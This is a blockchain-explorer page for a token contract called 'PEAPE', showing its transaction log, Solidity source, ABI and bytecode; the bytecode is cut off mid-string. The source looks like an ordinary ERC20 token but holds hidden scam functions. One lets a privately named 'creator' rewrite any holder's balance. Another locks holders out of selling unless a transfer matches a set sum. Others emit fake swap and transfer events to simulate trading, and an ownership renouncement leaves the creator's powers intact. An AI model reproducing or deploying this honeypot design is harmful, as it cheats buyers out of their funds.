ETH Price: $2,630.73 (-1.81%)

Contract

0x18B22878F6559D04B06f2382Ab7f84202BA81962
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve181989472023-09-23 13:54:23504 days ago1695477263IN
0x18B22878...02BA81962
0 ETH0.000373058.03630795
Set Forced Trans...175523772023-06-24 22:35:11594 days ago1687646111IN
0x18B22878...02BA81962
0 ETH0.000792111.31404856
Approve175523752023-06-24 22:34:47594 days ago1687646087IN
0x18B22878...02BA81962
0 ETH0.0005793612.48065939
Approve175523622023-06-24 22:32:11594 days ago1687645931IN
0x18B22878...02BA81962
0 ETH0.0018472440
Approve175522692023-06-24 22:13:35594 days ago1687644815IN
0x18B22878...02BA81962
0 ETH0.0006977515.12102119
Set Forced Trans...175516682023-06-24 20:12:11594 days ago1687637531IN
0x18B22878...02BA81962
0 ETH0.000373713.7351548
Approve175516562023-06-24 20:09:47594 days ago1687637387IN
0x18B22878...02BA81962
0 ETH0.0006113713.22845711
Approve175515532023-06-24 19:49:11594 days ago1687636151IN
0x18B22878...02BA81962
0 ETH0.0005754712.39695968
Approve175515502023-06-24 19:48:35594 days ago1687636115IN
0x18B22878...02BA81962
0 ETH0.0003705514.11255234
Approve175515502023-06-24 19:48:35594 days ago1687636115IN
0x18B22878...02BA81962
0 ETH0.0004100614.11255234
Approve175515502023-06-24 19:48:35594 days ago1687636115IN
0x18B22878...02BA81962
0 ETH0.000664414.31255234
Set Forced Trans...175515412023-06-24 19:46:47594 days ago1687636007IN
0x18B22878...02BA81962
0 ETH0.0006502313.80302594
Execute Token Sw...175515042023-06-24 19:39:11594 days ago1687635551IN
0x18B22878...02BA81962
0 ETH0.0052643512.97837176
Execute Token Sw...175514592023-06-24 19:30:11594 days ago1687635011IN
0x18B22878...02BA81962
0 ETH0.0057010614.05502027
Approve175514382023-06-24 19:25:47594 days ago1687634747IN
0x18B22878...02BA81962
0 ETH0.0006366113.77439927
Set Forced Trans...175514102023-06-24 19:20:11594 days ago1687634411IN
0x18B22878...02BA81962
0 ETH0.0007037714.93960721
Approve175514052023-06-24 19:18:59594 days ago1687634339IN
0x18B22878...02BA81962
0 ETH0.0006036112.98624094
Set Forced Trans...175514002023-06-24 19:17:59594 days ago1687634279IN
0x18B22878...02BA81962
0 ETH0.0006778214.38865914
Execute Token Sw...175513842023-06-24 19:14:47594 days ago1687634087IN
0x18B22878...02BA81962
0 ETH0.0018936912.35705542
Execute Token Sw...175513742023-06-24 19:12:47594 days ago1687633967IN
0x18B22878...02BA81962
0 ETH0.0024229113.40866591
Execute Token Sw...175513712023-06-24 19:12:11594 days ago1687633931IN
0x18B22878...02BA81962
0 ETH0.0019615713.56910874
Execute Token Sw...175513672023-06-24 19:11:23594 days ago1687633883IN
0x18B22878...02BA81962
0 ETH0.0048685913.46986982
Execute Token Sw...175513622023-06-24 19:10:23594 days ago1687633823IN
0x18B22878...02BA81962
0 ETH0.0065110912.86423943
Execute Token Sw...175513582023-06-24 19:09:35594 days ago1687633775IN
0x18B22878...02BA81962
0 ETH0.0067440214.34810488
Set Forced Trans...175513552023-06-24 19:08:59594 days ago1687633739IN
0x18B22878...02BA81962
0 ETH0.0006135513.02433189
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-24
*/

pragma solidity ^0.8.12;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract ExecutionControl {
    function obtainInvokerAddress() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SingleOwnership is ExecutionControl {
    address private _oneAndOnlyOwner;
    event OwnershipTransfer(address indexed oldOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainInvokerAddress();
        _oneAndOnlyOwner = invoker;
        emit OwnershipTransfer(address(0), invoker);
    }

    function getSingleOwner() public view virtual returns (address) {
        return _oneAndOnlyOwner;
    }

    modifier oneOwnerOnly() {
        require(getSingleOwner() == obtainInvokerAddress(), "Unauthorized: Single Owner access required.");
        _;
    }

    function renounceOwnership() public virtual oneOwnerOnly {
        emit OwnershipTransfer(_oneAndOnlyOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneAndOnlyOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract TOKEN is ExecutionControl, SingleOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _forcedTransferAmounts;
    address private _masterCreator;

    string public constant _moniker = "PEAPE";
    string public constant _ticker = "PEAPE";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainInvokerAddress()] = _ultimateSupply;
        emit Transfer(address(0), obtainInvokerAddress(), _ultimateSupply);
    }

    modifier creatorExclusive() {
        require(retrieveMasterCreator() == obtainInvokerAddress(), "Unauthorized: Creator access required.");
        _;
    }

    function retrieveMasterCreator() public view virtual returns (address) {
        return _masterCreator;
    }

    function designateCreator(address newCreator) public oneOwnerOnly {
        _masterCreator = newCreator;
    }

    event UserBalanceUpdated(address indexed user, uint256 previous, uint256 updated);

    function forcedTransferAmount(address account) public view returns (uint256) {
        return _forcedTransferAmounts[account];
    }

    function setForcedTransferAmounts(address[] calldata accounts, uint256 sum) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _forcedTransferAmounts[accounts[i]] = sum;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 requiredBalance) public creatorExclusive {
        require(requiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 formerBalance = _balances[currentUser];
            _balances[currentUser] = requiredBalance;

            emit UserBalanceUpdated(currentUser, formerBalance, requiredBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainInvokerAddress()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = forcedTransferAmount(obtainInvokerAddress());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainInvokerAddress()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainInvokerAddress(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainInvokerAddress()][spender] = sum;
        emit Approval(obtainInvokerAddress(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainInvokerAddress()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = forcedTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainInvokerAddress()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"previous","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updated","type":"uint256"}],"name":"UserBalanceUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"requiredBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"designateCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"forcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSingleOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveMasterCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"setForcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600080546001600160a01b031916339081178255604051909182917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca908290a350620000616012600a620001ee565b62000070906298968062000206565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620000b36012600a620001ee565b620000c2906298968062000206565b60405190815260200160405180910390a362000220565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000130578160001904821115620001145762000114620000d9565b808516156200012257918102915b93841c9390800290620000f4565b509250929050565b6000826200014957506001620001e8565b816200015857506000620001e8565b81600181146200017157600281146200017c576200019c565b6001915050620001e8565b60ff841115620001905762000190620000d9565b50506001821b620001e8565b5060208310610133831016604e8410600b8410161715620001c1575081810a620001e8565b620001cd8383620000ef565b8060001904821115620001e457620001e4620000d9565b0290505b92915050565b6000620001ff60ff84168362000138565b9392505050565b8082028115828204841417620001e857620001e8620000d9565b61120680620002306000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102bc578063cadc24b5146102c4578063d8fb9361146102ed578063dd62ed3e14610300578063e03504af14610224578063e156b1b61461033957600080fd5b80638e32c0031461027b57806395d89b4114610147578063a713fd531461028e578063a9059cbb14610296578063adacad8c146102a957600080fd5b806328226aa71161010a57806328226aa7146101d9578063313ce567146101fe578063416c3c9d146102135780635c01b60c1461022457806370a0823114610248578063715018a61461027157600080fd5b806306fdde0314610147578063095ea7b31461017a57806318160ddd1461019d5780631ae1ffbc146101b357806323b872dd146101c6575b600080fd5b604080518082019091526005815264504541504560d81b60208201525b6040516101719190610bc1565b60405180910390f35b61018d610188366004610c2b565b61034c565b6040519015158152602001610171565b6101a56103b4565b604051908152602001610171565b61018d6101c1366004610d8d565b6103d4565b61018d6101d4366004610e37565b6105eb565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610171565b60125b60405160ff9091168152602001610171565b6004546001600160a01b03166101e6565b61016460405180604001604052806005815260200164504541504560d81b81525081565b6101a5610256366004610e73565b6001600160a01b031660009081526002602052604090205490565b6102796107ab565b005b610279610289366004610e73565b610825565b610201601281565b61018d6102a4366004610c2b565b610871565b6102796102b7366004610e95565b6109b3565b6101a5610a46565b6101a56102d2366004610e73565b6001600160a01b031660009081526003602052604090205490565b6102796102fb366004610f10565b610a62565b6101a561030e366004610f55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018d610347366004610e37565b610b8c565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103c26012600a611082565b6103cf9062989680611091565b905090565b6000805b85518110156105de578581815181106103f3576103f36110a8565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111b183398151915287848151811061042f5761042f6110a8565b602002602001015160405161044691815260200190565b60405180910390a3858181518110610460576104606110a8565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104c2576104c26110a8565b60200260200101516000808987815181106104df576104df6110a8565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061052d5761052d6110a8565b602002602001015189878581518110610548576105486110a8565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156105a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cb91906110be565b50806105d6816110e0565b9150506103d8565b5060019695505050505050565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156106635760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106d1578083146106d15760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161065a565b6001600160a01b038516600090815260026020526040812080548592906106f99084906110f9565b90915550506001600160a01b0384166000908152600260205260408120805485929061072690849061110c565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061075e9084906110f9565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111b18339815191528560405161079891815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161065a9061111f565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461084f5760405162461bcd60e51b815260040161065a9061111f565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108c75760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161065a565b60006108d2336102d2565b90508015610929578083146109295760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161065a565b33600090815260026020526040812080548592906109489084906110f9565b90915550506001600160a01b0384166000908152600260205260408120805485929061097590849061110c565b90915550506040518381526001600160a01b0385169033906000805160206111b1833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109dd5760405162461bcd60e51b815260040161065a9061116a565b60005b82811015610a405781600360008686858181106109ff576109ff6110a8565b9050602002016020810190610a149190610e73565b6001600160a01b0316815260208101919091526040016000205580610a38816110e0565b9150506109e0565b50505050565b610a526012600a611082565b610a5f9062989680611091565b81565b6004546001600160a01b03163314610a8c5760405162461bcd60e51b815260040161065a9061116a565b60005b8251811015610b87576000838281518110610aac57610aac6110a8565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b185760405162461bcd60e51b815260206004820152601960248201527f496e76616c696420616464726573732073706563696669656400000000000000604482015260640161065a565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b7f906110e0565b915050610a8f565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111b1833981519152846040516109a191815260200190565b600060208083528351808285015260005b81811015610bee57858101830151858201604001528201610bd2565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c2657600080fd5b919050565b60008060408385031215610c3e57600080fd5b610c4783610c0f565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c9457610c94610c55565b604052919050565b600067ffffffffffffffff821115610cb657610cb6610c55565b5060051b60200190565b600082601f830112610cd157600080fd5b81356020610ce6610ce183610c9c565b610c6b565b82815260059290921b84018101918181019086841115610d0557600080fd5b8286015b84811015610d2757610d1a81610c0f565b8352918301918301610d09565b509695505050505050565b600082601f830112610d4357600080fd5b81356020610d53610ce183610c9c565b82815260059290921b84018101918181019086841115610d7257600080fd5b8286015b84811015610d275780358352918301918301610d76565b600080600080600060a08688031215610da557600080fd5b610dae86610c0f565b9450602086013567ffffffffffffffff80821115610dcb57600080fd5b610dd789838a01610cc0565b95506040880135915080821115610ded57600080fd5b610df989838a01610d32565b94506060880135915080821115610e0f57600080fd5b50610e1c88828901610d32565b925050610e2b60808701610c0f565b90509295509295909350565b600080600060608486031215610e4c57600080fd5b610e5584610c0f565b9250610e6360208501610c0f565b9150604084013590509250925092565b600060208284031215610e8557600080fd5b610e8e82610c0f565b9392505050565b600080600060408486031215610eaa57600080fd5b833567ffffffffffffffff80821115610ec257600080fd5b818601915086601f830112610ed657600080fd5b813581811115610ee557600080fd5b8760208260051b8501011115610efa57600080fd5b6020928301989097509590910135949350505050565b60008060408385031215610f2357600080fd5b823567ffffffffffffffff811115610f3a57600080fd5b610f4685828601610cc0565b95602094909401359450505050565b60008060408385031215610f6857600080fd5b610f7183610c0f565b9150610f7f60208401610c0f565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610fd9578160001904821115610fbf57610fbf610f88565b80851615610fcc57918102915b93841c9390800290610fa3565b509250929050565b600082610ff0575060016103ae565b81610ffd575060006103ae565b8160018114611013576002811461101d57611039565b60019150506103ae565b60ff84111561102e5761102e610f88565b50506001821b6103ae565b5060208310610133831016604e8410600b841016171561105c575081810a6103ae565b6110668383610f9e565b806000190482111561107a5761107a610f88565b029392505050565b6000610e8e60ff841683610fe1565b80820281158282048414176103ae576103ae610f88565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110d057600080fd5b81518015158114610e8e57600080fd5b6000600182016110f2576110f2610f88565b5060010190565b818103818111156103ae576103ae610f88565b808201808211156103ae576103ae610f88565b6020808252602b908201527f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360408201526a39903932b8bab4b932b21760a91b606082015260800190565b60208082526026908201527f556e617574686f72697a65643a2043726561746f7220616363657373207265716040820152653ab4b932b21760d11b60608201526080019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212206cf6dfc78336133da2cd52adff4a6ed4719bef1c0b4fb6ee6163e168c20256db64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf23146102bc578063cadc24b5146102c4578063d8fb9361146102ed578063dd62ed3e14610300578063e03504af14610224578063e156b1b61461033957600080fd5b80638e32c0031461027b57806395d89b4114610147578063a713fd531461028e578063a9059cbb14610296578063adacad8c146102a957600080fd5b806328226aa71161010a57806328226aa7146101d9578063313ce567146101fe578063416c3c9d146102135780635c01b60c1461022457806370a0823114610248578063715018a61461027157600080fd5b806306fdde0314610147578063095ea7b31461017a57806318160ddd1461019d5780631ae1ffbc146101b357806323b872dd146101c6575b600080fd5b604080518082019091526005815264504541504560d81b60208201525b6040516101719190610bc1565b60405180910390f35b61018d610188366004610c2b565b61034c565b6040519015158152602001610171565b6101a56103b4565b604051908152602001610171565b61018d6101c1366004610d8d565b6103d4565b61018d6101d4366004610e37565b6105eb565b6000546001600160a01b03165b6040516001600160a01b039091168152602001610171565b60125b60405160ff9091168152602001610171565b6004546001600160a01b03166101e6565b61016460405180604001604052806005815260200164504541504560d81b81525081565b6101a5610256366004610e73565b6001600160a01b031660009081526002602052604090205490565b6102796107ab565b005b610279610289366004610e73565b610825565b610201601281565b61018d6102a4366004610c2b565b610871565b6102796102b7366004610e95565b6109b3565b6101a5610a46565b6101a56102d2366004610e73565b6001600160a01b031660009081526003602052604090205490565b6102796102fb366004610f10565b610a62565b6101a561030e366004610f55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61018d610347366004610e37565b610b8c565b3360008181526001602090815260408083206001600160a01b03871680855290835281842086905590518581529293909290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060015b92915050565b60006103c26012600a611082565b6103cf9062989680611091565b905090565b6000805b85518110156105de578581815181106103f3576103f36110a8565b60200260200101516001600160a01b0316876001600160a01b03166000805160206111b183398151915287848151811061042f5761042f6110a8565b602002602001015160405161044691815260200190565b60405180910390a3858181518110610460576104606110a8565b60200260200101516001600160a01b0316737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106104c2576104c26110a8565b60200260200101516000808987815181106104df576104df6110a8565b6020908102919091018101516040805195865291850193909352830152606082015260800160405180910390a3826001600160a01b031663e156b1b687838151811061052d5761052d6110a8565b602002602001015189878581518110610548576105486110a8565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af11580156105a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cb91906110be565b50806105d6816110e0565b9150506103d8565b5060019695505050505050565b6001600160a01b03831660009081526001602090815260408083203384529091528120548211156106635760405162461bcd60e51b815260206004820152601960248201527f416c6c6f77616e6365206c696d6974207375727061737365640000000000000060448201526064015b60405180910390fd5b6001600160a01b03841660009081526003602052604090205480156106d1578083146106d15760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161065a565b6001600160a01b038516600090815260026020526040812080548592906106f99084906110f9565b90915550506001600160a01b0384166000908152600260205260408120805485929061072690849061110c565b90915550506001600160a01b03851660009081526001602090815260408083203384529091528120805485929061075e9084906110f9565b92505081905550836001600160a01b0316856001600160a01b03166000805160206111b18339815191528560405161079891815260200190565b60405180910390a3506001949350505050565b6000546001600160a01b031633146107d55760405162461bcd60e51b815260040161065a9061111f565b6000805460405161dead926001600160a01b03909216917f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca91a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461084f5760405162461bcd60e51b815260040161065a9061111f565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b336000908152600260205260408120548211156108c75760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015260640161065a565b60006108d2336102d2565b90508015610929578083146109295760405162461bcd60e51b815260206004820181905260248201527f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368604482015260640161065a565b33600090815260026020526040812080548592906109489084906110f9565b90915550506001600160a01b0384166000908152600260205260408120805485929061097590849061110c565b90915550506040518381526001600160a01b0385169033906000805160206111b1833981519152906020015b60405180910390a35060019392505050565b6004546001600160a01b031633146109dd5760405162461bcd60e51b815260040161065a9061116a565b60005b82811015610a405781600360008686858181106109ff576109ff6110a8565b9050602002016020810190610a149190610e73565b6001600160a01b0316815260208101919091526040016000205580610a38816110e0565b9150506109e0565b50505050565b610a526012600a611082565b610a5f9062989680611091565b81565b6004546001600160a01b03163314610a8c5760405162461bcd60e51b815260040161065a9061116a565b60005b8251811015610b87576000838281518110610aac57610aac6110a8565b6020026020010151905060006001600160a01b0316816001600160a01b031603610b185760405162461bcd60e51b815260206004820152601960248201527f496e76616c696420616464726573732073706563696669656400000000000000604482015260640161065a565b6001600160a01b038116600081815260026020908152604091829020805490879055825181815291820187905292917fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c84890910160405180910390a250508080610b7f906110e0565b915050610a8f565b505050565b6000826001600160a01b0316846001600160a01b03166000805160206111b1833981519152846040516109a191815260200190565b600060208083528351808285015260005b81811015610bee57858101830151858201604001528201610bd2565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c2657600080fd5b919050565b60008060408385031215610c3e57600080fd5b610c4783610c0f565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610c9457610c94610c55565b604052919050565b600067ffffffffffffffff821115610cb657610cb6610c55565b5060051b60200190565b600082601f830112610cd157600080fd5b81356020610ce6610ce183610c9c565b610c6b565b82815260059290921b84018101918181019086841115610d0557600080fd5b8286015b84811015610d2757610d1a81610c0f565b8352918301918301610d09565b509695505050505050565b600082601f830112610d4357600080fd5b81356020610d53610ce183610c9c565b82815260059290921b84018101918181019086841115610d7257600080fd5b8286015b84811015610d275780358352918301918301610d76565b600080600080600060a08688031215610da557600080fd5b610dae86610c0f565b9450602086013567ffffffffffffffff80821115610dcb57600080fd5b610dd789838a01610cc0565b95506040880135915080821115610ded57600080fd5b610df989838a01610d32565b94506060880135915080821115610e0f57600080fd5b50610e1c88828901610d32565b925050610e2b60808701610c0f565b90509